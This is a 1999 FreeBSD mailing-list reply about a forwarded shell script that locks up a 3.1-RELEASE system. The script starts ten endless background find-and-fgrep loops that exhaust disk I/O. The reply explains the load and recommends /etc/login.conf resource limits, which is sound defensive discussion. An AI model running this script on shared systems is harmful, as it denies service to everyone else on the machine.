Date: Thu, 4 Mar 1999 15:54:01 -0600 From: Chris Costello <chris@holly.dyndns.org> To: Mike Tancsa <mike@sentex.net> Cc: current@FreeBSD.ORG Subject: Re: Simple DOS against 3.x locks box solid Message-ID: <19990304155401.A5710@holly.dyndns.org> In-Reply-To: <4.1.19990304073656.084804e0@granite.sentex.ca>; from Mike Tancsa on Thu, Mar 04, 1999 at 07:38:43AM -0500 References: <4.1.19990304073656.084804e0@granite.sentex.ca>
next in thread | previous in thread | raw e-mail | index | archive | help
On Thu, Mar 4, 1999, Mike Tancsa put this into my mailbox: > > Is there any way to stop what is below ? Yep. Don't do it! Seriously, though, that puts a major load on the system. You have 10 process all telling the drivers to keep seeking about through the disks. Add /etc/login.conf restrictions if you don't want your users to do that. > > > > As posted by yk@dgtu.donetsk.ua > > > >This script freeze my 3.1-RELEASE box. > >I can't make any connection with my box, also from console. > > > >-------- cut here --- > >#! /bin/sh > > > >for j in 1 2 3 4 5 6 7 8 9 10 > >do > >echo -n $j > >nohup sh -c 'while :; do find / -type file |xargs fgrep fticom; done' > >/dev/null 2>&1 & > >echo > >done > >--------- cut here ---- > > > >-- > >Yury V. Yaroshevsky | Donetsk State Technical University > >YY18-RIPE | (380 622) 356455 yk@dgtu.donetsk.ua > > > ********************************************************************** > Mike Tancsa, Network Admin * mike@sentex.net > Sentex Communications Corp, * http://www.sentex.net/mike > Cambridge, Ontario * 01.519.651.3400 > Canada * > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-current" in the body of the message > -- Powered by FreeBSD 4.0-CURRENT. "The Power to Serve!" int main(int m){main(!main(0));} To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?19990304155401.A5710>